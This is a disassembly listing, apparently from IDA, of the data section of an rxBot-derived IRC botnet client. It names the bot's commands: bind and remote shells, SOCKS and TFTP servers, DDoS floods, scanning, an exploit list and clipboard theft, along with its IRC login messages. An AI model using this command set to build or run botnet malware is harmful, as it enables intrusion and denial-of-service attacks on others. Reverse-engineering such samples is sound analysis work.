aPrivmsg_1 db 'PRIVMSG',0 ; DATA XREF: sub_403038+634o
aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_403038+649o
align 4
aNotice_2 db 'NOTICE',0 ; DATA XREF: sub_403038+7BEo
align 4
asc_43789C: ; DATA XREF: sub_403038+7E3o
unicode 0, <#>,0
dword_4378A0 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_403038+86Bo
dword_4378AC dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_403038+896o
dd 0D017325h, 0Ah
dword_4378C8 dd 4E495001h, 47h ; DATA XREF: sub_403038+8A1o
dword_4378D0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_403038+8D2o
dd 0A0Dh
dword_4378E8 dd 43434401h, 0 ; DATA XREF: sub_403038+690o
aSend_3 db 'SEND',0 ; DATA XREF: sub_403038+6AEo
align 4
aS_26 db '%s',0 ; DATA XREF: sub_403038+6DBo
align 4
aS_27 db '%s',0 ; DATA XREF: sub_403038+6F3o
align 10h
unk_437900 db 2Dh ; - ; DATA XREF: sub_403038+751o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 10h
unk_437930 db 2Dh ; - ; DATA XREF: sub_403038+8E3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0
align 4
unk_43796C db 2Dh ; - ; DATA XREF: sub_403038+90Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_403038+92Ao
align 4
aS_0 db '%s',0 ; DATA XREF: sub_403038+967o
align 4
unk_4379BC db 2Dh ; - ; DATA XREF: sub_403038+9BEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
unk_4379DC db 2Dh ; - ; DATA XREF: sub_403038+A2Do
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_437A14 db 2Dh ; - ; DATA XREF: sub_403038+A3Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_437A44 db 2Dh ; - ; DATA XREF: sub_403038+A4Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
aGogo db 'gogo',0 ; DATA XREF: sub_403038+A72o
align 10h
aGol db 'gol',0 ; DATA XREF: sub_403038+A8Ao
asc_437A84: ; DATA XREF: sub_403038+557Do
unicode 0, <!>,0
asc_437A88: ; DATA XREF: sub_403038+559Bo
unicode 0, <~>,0
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_403038+55CBo
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_403038+55DFo
align 10h
unk_437AE0 db 2Dh ; - ; DATA XREF: sub_403038+55EEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_403038+5629o
align 4
aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_403038+563Do
align 10h
unk_437B60 db 2Dh ; - ; DATA XREF: sub_403038+564Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
unk_437B8C db 2Dh ; - ; DATA XREF: sub_403038+56BCo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_437BAC db 2Dh ; - ; DATA XREF: sub_403038+56D9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
a332_1 db '332',0 ; DATA XREF: sub_403038+AACo
asc_437BD0 db ' :',0 ; DATA XREF: sub_403038:loc_403B3Co
align 4
aD db '$%d-',0 ; DATA XREF: sub_403038+B62o
align 4
aD_0 db '$%d',0 ; DATA XREF: sub_403038+C26o
aMe db '$me',0 ; DATA XREF: sub_403038+C94o
aUser_2 db '$user',0 ; DATA XREF: sub_403038+CA6o
align 4
aChan db '$chan',0 ; DATA XREF: sub_403038+CB7o
align 4
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_403038+CD3o
align 10h
aServer_6 db '$server',0 ; DATA XREF: sub_403038+CE4o
aChr db '$chr(',0 ; DATA XREF: sub_403038+CEFo
align 10h
aChr_0 db '$chr(',0 ; DATA XREF: sub_403038+D08o
align 4
asc_437C18: ; DATA XREF: sub_403038+D30o
unicode 0, <)>,0
a63 db '63',0 ; DATA XREF: sub_403038+D58o
align 10h
asc_437C20: ; DATA XREF: sub_403038+E30o
unicode 0, < >,0
asc_437C24: ; DATA XREF: sub_403038:loc_403E89o
unicode 0, < >,0
aRndnick db 'rndnick',0 ; DATA XREF: sub_403038+E8Bo
aRn db 'rn',0 ; DATA XREF: sub_403038+EA3o
align 4
aNickS_2 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5536o
align 10h
unk_437C40 db 2Dh ; - ; DATA XREF: sub_403038+554Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
aDie db 'die',0 ; DATA XREF: sub_403038+EB8o
aD_1: ; DATA XREF: sub_403038+ECDo
unicode 0, <d>,0
a332_2 db '332',0 ; DATA XREF: sub_403038+42CCo
aLogout db 'logout',0 ; DATA XREF: sub_403038+EE2o
align 4
aLo db 'lo',0 ; DATA XREF: sub_403038+EF7o
align 4
unk_437C7C db 2Dh ; - ; DATA XREF: sub_403038+4231o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_1 db 'User %s logged out.',0
unk_437C9C db 2Dh ; - ; DATA XREF: sub_403038+4244o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
unk_437CC8 db 2Dh ; - ; DATA XREF: sub_403038+424Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_437CF4 db 2Dh ; - ; DATA XREF: sub_403038+4288o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_2 db 'User %s logged out.',0
aVersion db 'version',0 ; DATA XREF: sub_403038+F0Co
aVer db 'ver',0 ; DATA XREF: sub_403038+F21o
dword_437D20 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_403038+41E3o
aDedication db 'dedication',0 ; DATA XREF: sub_403038+F36o
align 4
aDed db 'ded',0 ; DATA XREF: sub_403038+F4Bo
unk_437D40 db 2Dh ; - ; DATA XREF: sub_403038:loc_40720Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 10h
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_403038+F60o
align 4
aSt db 'st',0 ; DATA XREF: sub_403038+F75o
align 10h
aBindshell db 'bindshell',0 ; DATA XREF: sub_403038+F8Ao
align 4
aBd db 'bd',0 ; DATA XREF: sub_403038+F9Fo
align 10h
unk_437E10 db 2Dh ; - ; DATA XREF: sub_403038+4130o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
unk_437E3C db 2Dh ; - ; DATA XREF: sub_403038+41B4o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToStar_0 db ' Failed to start server thread, error: <%d>.',0
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_403038+FB4o
align 4
aServer_0 db 'Server',0 ; DATA XREF: sub_403038+FCDo
align 4
dword_437E94 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_403038+FD2o
aSocks4 db 'socks4',0 ; DATA XREF: sub_403038+FDDo
align 10h
aS4 db 's4',0 ; DATA XREF: sub_403038+FF2o
align 4
dword_437EB4 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_403038+403Fo
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_437EDC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_403038+40AEo
aFailedToStar_1 db '- Failed to start server thread, error: <%d>.',0
align 4
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_403038+1007o
align 4
aServer_1 db 'Server',0 ; DATA XREF: sub_403038+1020o
align 4
dword_437F2C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_403038+1025o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_403038+1030o
align 4
aServer_2 db 'Server',0 ; DATA XREF: sub_403038+1049o
align 10h
dword_437F50 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_403038+104Eo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_403038+1059o
align 4
aServer_3 db 'Server',0 ; DATA XREF: sub_403038+1072o
align 4
dword_437F74 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_403038+1077o
aLogstop db 'logstop',0 ; DATA XREF: sub_403038+1082o
aLogList db 'Log list',0 ; DATA XREF: sub_403038+109Bo
align 4
dword_437F98 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_403038+10A0o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_403038+10ABo
align 4
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_403038+10C4o
align 4
dword_437FC4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_403038+10C9o
dword_437FD4 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_403038+10D4o
dword_437FE0 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+10EDo
dword_437FEC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_403038+10F2o
aSynstop db 'synstop',0 ; DATA XREF: sub_403038+10FDo
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_403038+1116o
align 4
dword_43800C dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_403038+111Bo
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_403038+1126o
align 4
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_403038+113Fo
align 4
dword_438034 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_403038+1144o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_403038+114Fo
align 10h
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_403038+1168o
align 10h
dword_438060 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_403038+116Do
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_403038+1178o
align 4
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_403038+1191o
align 4
dword_438088 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_403038+1196o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_403038+11A1o
align 10h
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_403038+11C2o
align 4
dword_4380AC dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_403038+11C7o
dword_4380B8 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_403038+11E0o
dword_4380C4 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_403038+11E5o
dword_4380D0 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_403038+1201o
dword_4380DC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_403038+1206o
dword_4380E8 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+121Fo
dword_4380F4 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_403038+1224o
dword_438100 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_403038+1240o
dword_438110 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_403038+1245o
dword_438120 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+125Eo
dword_43812C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_403038+1263o
dword_438138 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_403038+127Fo
dword_438148 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_403038+1284o
dword_438158 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_403038+129Do
dword_438168 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_403038+12A2o
dword_438178 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_403038+12BEo
dword_438188 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_403038+12C3o
unk_438198 db 2Dh ; - ; DATA XREF: sub_403038+12DDo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_403038+12F7o
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_403038+1310o
align 4
dword_4381E8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_403038+1315o
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_403038+1320o
align 4
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_403038+1339o
align 4
dword_438214 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_403038+133Eo
aUdpstop db 'udpstop',0 ; DATA XREF: sub_403038+1349o
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_403038+1362o
align 4
dword_438238 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_403038+1367o
aPingstop db 'pingstop',0 ; DATA XREF: sub_403038+1372o
align 10h
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_403038+138Bo
align 4
dword_43825C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_403038+1390o
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_403038+139Bo
align 4
aServer_4 db 'Server',0 ; DATA XREF: sub_403038+13B4o
align 4
dword_43827C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_403038+13B9o
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_403038+13C4o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_403038+13D9o
align 4
aFindFile db 'Find file',0 ; DATA XREF: sub_403038+3F70o
align 10h
dword_4382B0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_403038+3F75o
aProcsstop db 'procsstop',0 ; DATA XREF: sub_403038+13EEo
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_403038+1403o
align 4
aProcessList db 'Process list',0 ; DATA XREF: sub_403038+3F5Bo
align 4
dword_4382E4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_403038+3F60o
aClonestop db 'clonestop',0 ; DATA XREF: sub_403038+1418o
align 10h
aClone db 'Clone',0 ; DATA XREF: sub_403038+1431o
align 4
dword_438308 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_403038+1436o
aSecurestop db 'securestop',0 ; DATA XREF: sub_403038+1441o
align 4
aSecure db 'Secure',0 ; DATA XREF: sub_403038+145Ao
align 4
dword_43832C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_403038+145Fo
aScanstop db 'scanstop',0 ; DATA XREF: sub_403038+146Ao
align 4
aScan_0 db 'Scan',0 ; DATA XREF: sub_403038+1483o
align 10h
dword_438350 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_403038+1488o
aScanstats db 'scanstats',0 ; DATA XREF: sub_403038+1493o
align 4
aStats db 'stats',0 ; DATA XREF: sub_403038+14A8o
align 10h
aTransferstats db 'transferstats',0 ; DATA XREF: sub_403038+14BDo
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_403038+14D2o
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_403038+14E7o
aExplist db 'explist',0 ; DATA XREF: sub_403038+14FCo
aReconnectt db 'reconnectt',0 ; DATA XREF: sub_403038+1511o
align 4
aR: ; DATA XREF: sub_403038+1526o
unicode 0, <r>,0
aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406F29o
align 4
dword_4383C4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_403038+3EFEo
dd 676E6974h, 2Eh
aDisconnectt db 'disconnectt',0 ; DATA XREF: sub_403038+153Bo
aDc db 'dc',0 ; DATA XREF: sub_403038+1550o
align 10h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406F07o
align 4
dword_438408 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_403038+3EDCo
dd 6E697463h, 2E67h
aQuit_0 db 'quit',0 ; DATA XREF: sub_403038+1565o
align 4
aQ: ; DATA XREF: sub_403038+157Ao
unicode 0, <q>,0
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+3EA7o
align 4
aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_403038:loc_406EF1o
align 4
aStatus db 'status',0 ; DATA XREF: sub_403038+158Fo
align 4
aS_1: ; DATA XREF: sub_403038+15A4o
unicode 0, <s>,0
unk_438458 db 2Dh ; - ; DATA XREF: sub_403038+3E5Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
aId db 'id',0 ; DATA XREF: sub_403038+15B9o
align 4
aI: ; DATA XREF: sub_403038+15CEo
unicode 0, <i>,0
dword_43848C dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_403038+3E1Do
dd 2E7325h
aReboot db 'reboot',0 ; DATA XREF: sub_403038+15E3o
align 4
unk_4384AC db 2Dh ; - ; DATA XREF: sub_403038+15FAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
unk_4384CC db 2Dh ; - ; DATA XREF: sub_403038+1601o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
aThreads db 'threads',0 ; DATA XREF: sub_403038+1635o
aT: ; DATA XREF: sub_403038+164Ao
unicode 0, <t>,0
aSub db 'sub',0 ; DATA XREF: sub_403038+3D64o
dword_438504 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_403038+3D8Ao
dd 65726874h, 2E736461h, 0
unk_438524 db 2Dh ; - ; DATA XREF: sub_403038+3DF9o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToStartL db '- Failed to start list thread, error: <%d>.',0
align 10h
aAliases db 'aliases',0 ; DATA XREF: sub_403038+165Fo
aAl db 'al',0 ; DATA XREF: sub_403038+1674o
align 4
dword_43856C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_403038+3D15o
dd 2E7473h
dword_438584 dd 676F6Ch ; DATA XREF: sub_403038+1689o
dword_438588 dd 676Ch ; DATA XREF: sub_403038+169Eo
dword_43858C dd 7325h ; DATA XREF: sub_403038+3C3Ao
dword_438590 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_403038+3C6Do
dd 2E676Fh
unk_4385A8 db 2Dh ; - ; DATA XREF: sub_403038+3CFAo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToStar_2 db '- Failed to start listing thread, error: <%d>.',0
aClearlog db 'clearlog',0 ; DATA XREF: sub_403038+16B3o
align 4
aClg db 'clg',0 ; DATA XREF: sub_403038+16C8o
aNetinfo db 'netinfo',0 ; DATA XREF: sub_403038+16DDo
aNi db 'ni',0 ; DATA XREF: sub_403038+16F2o
align 4
dword_4385FC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_403038+3BE9o
dd 6F666E49h, 2Eh
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_403038+1707o
aSi db 'si',0 ; DATA XREF: sub_403038+171Co
align 4
dword_438624 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_403038+3BBAo
dd 2E6F666Eh, 0
aBaybayman db 'baybayman',0 ; DATA XREF: sub_403038+1731o
align 4
aBamann db 'bamann',0 ; DATA XREF: sub_403038+1746o
align 4
dword_438654 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_403038+3B65o
dd 746F4220h, 2Eh
aProcs db 'procs',0 ; DATA XREF: sub_403038+175Bo
align 4
aPs db 'ps',0 ; DATA XREF: sub_403038+1770o
align 4
unk_43867C db 2Dh ; - ; DATA XREF: sub_403038+3A55o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunning db ' Already running.',0
align 4
aFull db 'full',0 ; DATA XREF: sub_403038+3AB4o
align 4
dword_4386A4 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_403038+3AD4o
dd 696C2073h, 2E7473h
unk_4386C0 db 2Dh ; - ; DATA XREF: sub_403038+3B43o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToStar_3 db ' Failed to start listing thread, error: <%d>.',0
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_403038+1785o
align 4
aUp db 'up',0 ; DATA XREF: sub_403038+179Ao
align 4
dword_438708 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_403038+3A07o
dd 2E7325h
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_403038+17AFo
align 4
aDrv db 'drv',0 ; DATA XREF: sub_403038+17C4o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_403038+17D9o
align 4
aDll db 'dll',0 ; DATA XREF: sub_403038+17EEo
aOpencmd db 'opencmd',0 ; DATA XREF: sub_403038+1803o
aOcmd db 'ocmd',0 ; DATA XREF: sub_403038+1818o
align 10h
unk_438750 db 2Dh ; - ; DATA XREF: sub_403038+394Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_43877C db 2Dh ; - ; DATA XREF: sub_403038+396Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_4387A4 db 2Dh ; - ; DATA XREF: sub_403038:loc_4069B0o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_403038+182Do
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_403038+1846o
align 4
dword_4387DC dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_403038+184Bo
dword_4387E8 dd 6F6877h ; DATA XREF: sub_403038+1856o
dword_4387EC dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_403038+1873o
dword_438800 dd 706D453Ch, 3E7974h ; DATA XREF: sub_403038:loc_4048D6o
dword_438808 dd 202E6425h, 7325h ; DATA XREF: sub_403038+18ADo
unk_438810 db 2Dh ; - ; DATA XREF: sub_403038+18E5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_403038+1E0Bo
aGc db 'gc',0 ; DATA XREF: sub_403038+1E20o
align 10h
dword_438840 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_403038+390Bo
dd 2Dh
dword_438858 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_403038+3939o
dd 72616F62h, 2E64h
aFlusharp db 'flusharp',0 ; DATA XREF: sub_403038+1E35o
align 10h
aFarp db 'farp',0 ; DATA XREF: sub_403038+1E4Ao
align 4
unk_438888 db 2Dh ; - ; DATA XREF: sub_403038+38E0o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_4388AC db 2Dh ; - ; DATA XREF: sub_403038:loc_406933o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_403038+1E5Fo
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_403038+1E74o
align 4
unk_4388EC db 2Dh ; - ; DATA XREF: sub_403038+38C2o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 10h
unk_438910 db 2Dh ; - ; DATA XREF: sub_403038:loc_406901o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_43893C db 2Dh ; - ; DATA XREF: sub_403038:loc_406908o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
aCurrentip db 'currentip',0 ; DATA XREF: sub_403038+1E89o
align 4
aCip db 'cip',0 ; DATA XREF: sub_403038+1E9Eo
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_403038+1EB3o
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_403038+1EC8o
align 10h
unk_438990 db 2Dh ; - ; DATA XREF: sub_403038+37FDo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_4389CC db 2Dh ; - ; DATA XREF: sub_403038+386Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToStar_4 db '- Failed to start server thread, error: <%d>.',0
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_403038+1EDDo
align 4
aHttp db 'http',0 ; DATA XREF: sub_403038+1EF2o
align 4
unk_438A1C db 2Dh ; - ; DATA XREF: sub_403038+36C5o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_438A58 db 2Dh ; - ; DATA XREF: sub_403038+3734o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_5 db ' Failed to start server thread, error: <%d>.',0
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_403038+1F07o
align 10h
aTftp db 'tftp',0 ; DATA XREF: sub_403038+1F1Co
align 4
unk_438AA8 db 2Dh ; - ; DATA XREF: sub_403038+349Do
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_0 db ' Already running.',0
align 4
